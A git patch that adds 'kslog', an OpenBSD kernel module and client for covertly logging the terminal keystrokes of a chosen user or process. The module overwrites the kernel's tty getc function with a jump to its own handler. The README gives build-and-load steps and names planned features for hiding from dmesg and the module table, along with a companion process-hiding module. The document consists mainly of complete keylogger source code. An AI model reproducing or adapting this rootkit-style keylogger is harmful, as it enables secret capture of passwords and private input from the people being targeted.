From aac40f919e5f2c91ab6aab59e50c6dac61eb3bd3 Mon Sep 17 00:00:00 2001 From: Dimitri Sokolyuk Date: Mon, 4 Apr 2005 20:47:31 +0000 Subject: kslog LKM --- kslog/LICENSE | 2 + kslog/Makefile | 18 ++ kslog/README | 45 +++++ kslog/circbuf.h | 35 ++++ kslog/kslog.c | 410 ++++++++++++++++++++++++++++++++++++++++++++ kslog/kslog.h | 23 +++ kslog/kslog_cli/Makefile | 6 + kslog/kslog_cli/kslog.h | 23 +++ kslog/kslog_cli/kslog_cli.c | 279 ++++++++++++++++++++++++++++++ 9 files changed, 841 insertions(+) create mode 100644 kslog/LICENSE create mode 100644 kslog/Makefile create mode 100644 kslog/README create mode 100644 kslog/circbuf.h create mode 100644 kslog/kslog.c create mode 100644 kslog/kslog.h create mode 100644 kslog/kslog_cli/Makefile create mode 100644 kslog/kslog_cli/kslog.h create mode 100644 kslog/kslog_cli/kslog_cli.c diff --git a/kslog/LICENSE b/kslog/LICENSE new file mode 100644 index 0000000..3e4fd56 --- /dev/null +++ b/kslog/LICENSE @@ -0,0 +1,2 @@ + +This software is licensed under the free as in freedom license. diff --git a/kslog/Makefile b/kslog/Makefile new file mode 100644 index 0000000..57e30e3 --- /dev/null +++ b/kslog/Makefile @@ -0,0 +1,18 @@ +SRC = kslog + +all: lkm cli + +lkm: + gcc -D_KERNEL -I/sys -c $(SRC).c + +cli: + cd kslog_cli; make; cd .. + +load: + sudo modload -o $(SRC) -ehandler $(SRC).o + +unload: + sudo modunload -n $(SRC) + +clean: + rm -rf $(SRC) $(SRC).o; cd kslog_cli; make clean; cd .. diff --git a/kslog/README b/kslog/README new file mode 100644 index 0000000..d2021c3 --- /dev/null +++ b/kslog/README @@ -0,0 +1,45 @@ +kslog v0.1 a2 +---------- + + +introduction +---------- + +This is a simple toolkit for logging terminal input at the kernel level. The kslog LKM hijacks the tty input function getc and processes all terminal input. Keystrokes that belong to a specified user id or process id are placed in a buffer in-kernel and made available to userland processes via a character device interface. Some work needs to be done on processing of keystroke data prior to passing to the userland accessible character device buffer. + + +how to build, use and clean in 10 easy steps +---------- + +1. cd +2. make +3. make load +4. mknod -m 644 /dev/kslog c 29 0 +5. cd kslog_cli +6. ./kslog -g +7. cd .. +8. make unload +9. rm /dev/kslog +10. make clean + + +notes +----------- +if you are having problems consult the best documentation available: the source code. + + +stuff to add +----------- +improved keystroke pre-processing, dmesg hiding, LKM table hiding. + + +related code +----------- +prochide-v0.1.tar.gz - openbsd kernel mode process hiding LKM available from http://gravitino.net/~mike/. + + +contact +----------- +send e-mail to mike@gravitino.net + +-mike diff --git a/kslog/circbuf.h b/kslog/circbuf.h new file mode 100644 index 0000000..a5a590a --- /dev/null +++ b/kslog/circbuf.h @@ -0,0 +1,35 @@ +/* + * circbuf.h + * + * circular buffer interface + * + * mike@gravitino.net + */ + +typedef struct circular_buffer +{ + int len ; + int size; + int next; + int curr; + int loop; + + unsigned char *buf; + +} circular_buffer; + +/* + * initialize circular_buffer structure: + * zero out structure & save buf & len args to structure members + */ +void cb_init(circular_buffer *cb, unsigned char *buf, int len); + +/* + * place character into circular buffer + */ +void cb_putc(circular_buffer *cb, char ch); + +/* + * remove character from circular buffer + */ +int cb_getc(circular_buffer *cb, char *ch); diff --git a/kslog/kslog.c b/kslog/kslog.c new file mode 100644 index 0000000..1b398a5 --- /dev/null +++ b/kslog/kslog.c @@ -0,0 +1,410 @@ +/* + * kslog.c + * + * keystroke logging LKM for OpenBSD 2.9 (untested on other versions). + * + * logs keystrokes from one UID or PID and places into circular char + * buffer. characters can be retrieved via the /dev/kslog character + * device using the kslog userland application (or an easily written + * custom application). + * + * mike@gravitino.net + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kslog.h" +#include "circbuf.h" + +#define MOD_NAME "kslog" + +/* + * device initialization macro + */ +#define cdev_init(c, n) \ + { \ + dev_init(c,n,open), \ + dev_init(c,n,close), \ + dev_init(c,n,read), \ + (dev_type_write((*))) lkmenodev,\ + dev_init(c,n,ioctl), \ + (dev_type_stop((*))) lkmenodev,\ + 0, \ + (dev_type_select((*))) lkmenodev,\ + (dev_type_mmap((*))) lkmenodev \ + } + +/* + * + * character device functions: + * + * open() + * ----------- + * does nothing. + * + * read() + * ----------- + * read returns up to size of provided buffer number of keystrokes or the + * current number of buffered keystrokes or -1 if no keystrokes are saved. + * + * close() + * ----------- + * does nothing. + * + * ioctl() + * ----------- + * ioctl is the main "control" function. UID/PID is set via ioctl. kslog + * START/STOP is set via ioctl. + * + */ +int kslog_open __P((dev_t dev, int oflags, int devtype, struct proc *p)); +int kslog_read __P((dev_t dev, struct uio *uio, int ioflag)); +int kslog_close __P((dev_t dev, int fflag, int devtype, struct proc *p)); +int kslog_ioctl __P((dev_t dev, u_long cmd, caddr_t data, int fflag, struct proc *p)); +int kslog_handler __P((struct lkm_table *lkmtp, int cmd)); + +/* + * declare & init character device structure + */ +cdev_decl(kslog); +static struct cdevsw cdev_kslog = cdev_init(1, kslog_); + +/* + * character device module + */ +MOD_DEV(MOD_NAME, LM_DT_CHAR, -1, &cdev_kslog); + +/* + * kslog specific variables & data structures + */ +#define UID 0 +#define PID 1 + +// +// track current status +// +static int active; + +// +// uid/pid to log +// +static int Xid; + +// +// id type, either UID or PID constant vlaue +// +static int id_type; + +// +// our circular char buffer +// +static circular_buffer circbuf; + +/* + * function hijacking stuff + */ +#define CODE_LEN 7 + +/* + * tty get char function to hijack + */ +extern int getc __P((struct clist *)); + +/* + * current process (that we're in the context of when capturing the keystroke) + */ +extern struct proc *curproc; + +/* + * our fluffy little buffers. + */ +static char getc_svd_code[CODE_LEN]; +static char getc_jmp_code[] = "\xB8\x00\x00\x00\x00\xFF\xE0"; + +/* + * circular buffer functions.. + */ + +/* + * initialize circular_buffer structure: + * zero out structure & save buf & len args to structure members + */ +void cb_init(circular_buffer *cb, unsigned char *buf, int len) +{ + memset(cb, 0, sizeof(circular_buffer)); + + /* + * allocate & initialize buffer + */ + cb->buf = buf; + cb->len = len; +} + +/* + * place character into circular buffer + */ +void cb_putc(circular_buffer *cb, char ch) +{ + cb->buf[cb->curr] = ch; + + if(cb->size < cb->len) + ++cb->size; + + if(cb->loop && cb->next == cb->curr) + if(++cb->next == cb->len) + cb->next = 0; + + if(++cb->curr == cb->len) + { + cb->curr = 0; + cb->loop = 1; + } +} + +/* + * remove character from circular buffer + */ +int cb_getc(circular_buffer *cb, char *ch) +{ + if(cb->size == 0) + return -1; + + *ch = cb->buf[cb->next]; + + if(--cb->size == 0) + cb->curr = + cb->next = + cb->loop = 0; + else + if(++cb->next == cb->len) + cb->next = 0; + + return 0; +} + +// +// hijack function - need to investigate spl*() usage. +// +static int h_getc (struct clist *l) +{ + int ret; + int s; + int tmp_id = -1; + + s = spltty(); + memcpy(getc, getc_svd_code, CODE_LEN); + splx(s); + + ret = getc(l); + + s = spltty(); + memcpy(getc, getc_jmp_code, CODE_LEN); + splx(s); + + // + // process keystroke - log if uid/pid matches Xid + // + if(ret > 0 && curproc != NULL) + { + if(id_type == UID) + { + if(curproc->p_cred != NULL) + { + tmp_id = curproc->p_cred->p_ruid; + } + } + else // PID + { + tmp_id = curproc->p_pid; + } + + if(tmp_id != -1 && tmp_id == Xid) + { + cb_putc(&circbuf, ret); + } + } + + return(ret); +} + +/* + * open() + */ +int kslog_open (dev_t dev, int oflags, int devtype, struct proc *p) +{ + return(0); +} + +/* + * read() + */ + +// +// currently only support non-vector reads (read() not readv()) +// +int kslog_read (dev_t dev, struct uio *uio, int ioflag) +{ + struct iovec *vec; + int iovcnt = 0; + int cnt = 0; + int error = 0; + int len = 0; + char ch; + + if(uio != NULL && active != 0) + { + len = uio->uio_resid; + + while(cnt < len && cb_getc(&circbuf, &ch) != -1) + { + error = uiomove(&ch, 1, uio); + if(error) + { + break; + } + ++cnt; + } + } + + return(error); +} + +/* + * close() + */ +int kslog_close (dev_t dev, int fflag, int devtype, struct proc *p) +{ + return(0); +} + +/* + * ioctl() + */ +int kslog_ioctl (dev_t dev, u_long cmd, caddr_t data, int fflag, struct proc *p) +{ + unsigned int addr = 0; + int retval = 0; + struct kslog_op *op = NULL; + + /* + * process IOCTL commands for kslog + */ + switch(cmd) + { + case KSLOG_SETPID: + + op = (struct kslog_op *)data; + id_type = PID; + Xid = op->val; + + break; + + case KSLOG_SETUID: + + op = (struct kslog_op *)data; + id_type = UID; + Xid = op->val; + + break; + + case KSLOG_START: + + if(!active) + { + memcpy(getc_svd_code, getc, CODE_LEN); + addr = (unsigned int)h_getc; + memcpy(getc_jmp_code + 1, &addr, 4); + + // hijack getc here + memcpy(getc, getc_jmp_code, CODE_LEN); + active = 1; + } + + break; + + case KSLOG_STOP: + + if(active) + { + // unhijack + memcpy(getc, getc_svd_code, CODE_LEN); + active = 0; + circbuf.size = + circbuf.next = + circbuf.curr = + circbuf.loop = 0; + } + + break; + + case KSLOG_STATUS: + + op = (struct kslog_op *)data; + printf("status is: %d\n", active); + op->val = active; + + break; + + default: + + retval = ENOTTY; // this the right error value? + + break; + } + + return(retval); +} + +/* + * handler() + */ +int kslog_handler (struct lkm_table *lkmtp, int cmd) +{ + if(cmd == LKM_E_LOAD) + { + active = + id_type = + Xid = 0; + + // allocate circular buffer space & initialize + // circular buffer structure + + circbuf.buf = (char *)malloc(CBUF_SIZE, M_DEVBUF, M_WAITOK); + if(circbuf.buf == NULL) + { + return(-1); + } + + cb_init(&circbuf, circbuf.buf, CBUF_SIZE); + } + else if(cmd == LKM_E_UNLOAD) + { + // if active, deactivate + if(active) + { + memcpy(getc, getc_svd_code, CODE_LEN); + } + + // deallocate buffer space + free(circbuf.buf, M_DEVBUF); + } + + return(0); +} + +/* + * entry point + */ +int handler(struct lkm_table *lkmtp, int cmd, int ver) +{ + DISPATCH(lkmtp, cmd, ver, kslog_handler, kslog_handler, lkm_nofunc); +} diff --git a/kslog/kslog.h b/kslog/kslog.h new file mode 100644 index 0000000..4db963c --- /dev/null +++ b/kslog/kslog.h @@ -0,0 +1,23 @@ +/* + * kslog.h + * + * kslog defines, etc. + * + * mike@gravitino.net + */ + +// keystroke circular buffer size +#define CBUF_SIZE 1024 + +// ioctl cmd structure +typedef struct kslog_op +{ + // id if related to operation (PID/UID) + int val; +} kslog_op; + +#define KSLOG_SETPID _IOW('O', 0, struct kslog_op) +#define KSLOG_SETUID _IOW('O', 1, struct kslog_op) +#define KSLOG_START _IOW('O', 2, struct kslog_op) +#define KSLOG_STOP _IOW('O', 3, struct kslog_op) +#define KSLOG_STATUS _IOR('O', 4, struct kslog_op) diff --git a/kslog/kslog_cli/Makefile b/kslog/kslog_cli/Makefile new file mode 100644 index 0000000..8e4d535 --- /dev/null +++ b/kslog/kslog_cli/Makefile @@ -0,0 +1,6 @@ + +all: + gcc -o kslog kslog_cli.c + +clean: + rm -rf *.o *.core kslog diff --git a/kslog/kslog_cli/kslog.h b/kslog/kslog_cli/kslog.h new file mode 100644 index 0000000..4db963c --- /dev/null +++ b/kslog/kslog_cli/kslog.h @@ -0,0 +1,23 @@ +/* + * kslog.h + * + * kslog defines, etc. + * + * mike@gravitino.net + */ + +// keystroke circular buffer size +#define CBUF_SIZE 1024 + +// ioctl cmd structure +typedef struct kslog_op +{ + // id if related to operation (PID/UID) + int val; +} kslog_op; + +#define KSLOG_SETPID _IOW('O', 0, struct kslog_op) +#define KSLOG_SETUID _IOW('O', 1, struct kslog_op) +#define KSLOG_START _IOW('O', 2, struct kslog_op) +#define KSLOG_STOP _IOW('O', 3, struct kslog_op) +#define KSLOG_STATUS _IOR('O', 4, struct kslog_op) diff --git a/kslog/kslog_cli/kslog_cli.c b/kslog/kslog_cli/kslog_cli.c new file mode 100644 index 0000000..22ac641 --- /dev/null +++ b/kslog/kslog_cli/kslog_cli.c @@ -0,0 +1,279 @@ +/* + * kslog_cli.c + * + * kslog keystroke logging LKM command line client. supports + * settings of logging options and execution as log daemon. + * in log daemon mode, process can be hidden using prochide + * LKM package availabel from http://gravitino.net/~mike/. + * + * mike@gravitino.net + */ + +#include +#include +#include +#include + +#include "kslog.h" + +#define CMD_SETUID 0x01 +#define CMD_SETPID 0x02 +#define CMD_START 0x04 +#define CMD_STOP 0x08 +#define CMD_STATUS 0x10 +#define CMD_LOG 0x20 +#define CMD_DAEMON 0x40 + +#define DEVICE "/dev/kslog" + +#define BUF_SIZE 100 + +#define NEWLINE "\n" + +#define BANNER "*************************************************\n" \ + "* kslog v0.1 - mike@gravitino.net\n" \ + "*************************************************\n" + +#define USAGE "*\n* USAGE:\n" \ + "*\n" \ + "* -u UID set user id to log.\n" \ + "* -p PID set process id to log.\n" \ + "* -s start logging.\n" \ + "* -q quit logging.\n" \ + "* -g get status.\n" \ + "* -d run as daemon and log to file.\n" \ + "*\n" \ + "*************************************************\n" + +#define FAILED_TO_OPEN "failed to open device.\n" + +#define ISSET(i, f) i & f +#define SET(c, f) c ^= f + +void usage () +{ + write(2, USAGE, strlen(USAGE)); +} + +// +// check for proper combination of commands +// +int validate_cmd(int cmd) +{ + // no cl options + if(cmd == 0) + { + return(-1); + } + + // mutually exclusive + if(ISSET(cmd, CMD_SETPID) && + ISSET(cmd, CMD_SETUID)) + { + return(-1); + } + + if(ISSET(cmd, CMD_START) && + ISSET(cmd, CMD_STOP )) + { + return(-1); + } + + if(ISSET(cmd, CMD_STOP ) && + ISSET(cmd, CMD_DAEMON)) + { + return(-1); + } + + return(0); +} + +int main(int argc, char *argv[]) +{ + struct kslog_op op; + char ch = 0; + int cmd = 0; + int Xid = 0; + int fd = 0; + char *p_id = NULL; + int len = 0; + char buf[BUF_SIZE]; + int x = 0; + + write(2, BANNER, strlen(BANNER)); + + opterr = 0; + + /* + * parse command line args.. + */ + while((ch = getopt(argc, argv, "u:p:o:dsqg")) != -1) + { + switch(ch) + { + case 'u': + + p_id = optarg; + SET(cmd, CMD_SETUID); + break; + + case 'p': + + p_id = optarg; + SET(cmd, CMD_SETPID); + break; + + case 's': + + SET(cmd, CMD_START ); + break; + + case 'q': + + SET(cmd, CMD_STOP ); + break; + + case 'g': + + SET(cmd, CMD_STATUS); + break; + + case 'd': + + SET(cmd, CMD_DAEMON); + break; + + case '?': + usage(); + return(1); + } + } + + // make sure commands are not mutually exclusive + if(validate_cmd(cmd) != 0) + { + usage(); + return(1); + } + + // open char device + if((fd = open(DEVICE, O_RDONLY)) == -1) + { + perror(FAILED_TO_OPEN); + return(1); + } + + if(ISSET(cmd, CMD_SETPID) || + ISSET(cmd, CMD_SETUID)) + { + Xid = atoi(p_id); + } + + if(ISSET(cmd, CMD_SETPID)) + { + op.val = Xid; + if(ioctl(fd, KSLOG_SETPID, &op) == -1) + { + close(fd); + perror("setpid ioctl failed.\n"); + return(1); + } + + printf("pid %d set\n", Xid); + } + + if(ISSET(cmd, CMD_SETUID)) + { + op.val = Xid; + if(ioctl(fd, KSLOG_SETUID, &op) == -1) + { + close(fd); + perror("setuid ioctl failed.\n"); + return(1); + } + + printf("uid %d set\n", Xid); + } + + if(ISSET(cmd, CMD_STATUS)) + { + op.val = 0; + if(ioctl(fd, KSLOG_STATUS, &op) == -1) + { + close(fd); + perror("status ioctl failed.\n"); + return(1); + } + + printf("kslog is: %s\n", (op.val == 0 ? "off" : "on")); + } + + if(ISSET(cmd, CMD_START)) + { + if(ioctl(fd, KSLOG_START, &op) == -1) + { + close(fd); + perror("start ioctl failed.\n"); + return(1); + } + + printf("started\n"); + } + + if(ISSET(cmd, CMD_STOP)) + { + if(ioctl(fd, KSLOG_STOP, &op) == -1) + { + close(fd); + perror("stop ioctl failed.\n"); + return(1); + } + + printf("stopped\n"); + } + + if(ISSET(cmd, CMD_DAEMON)) + { + while(1) + { + len = read(fd, buf, BUF_SIZE); + if(len > 0) + { + for(x=0; x < len; ++x) + { + ch = buf[x]; + + if(ch == '\n' || + (ch > 31 && ch <= 'z')) + { + printf("%c", ch); + fflush((FILE *)0); + } + } + } + + sleep(1); + } + } + + close(fd); + + return(0); +} + + + + + + + + + + + + + + + + + -- cgit v1.2.3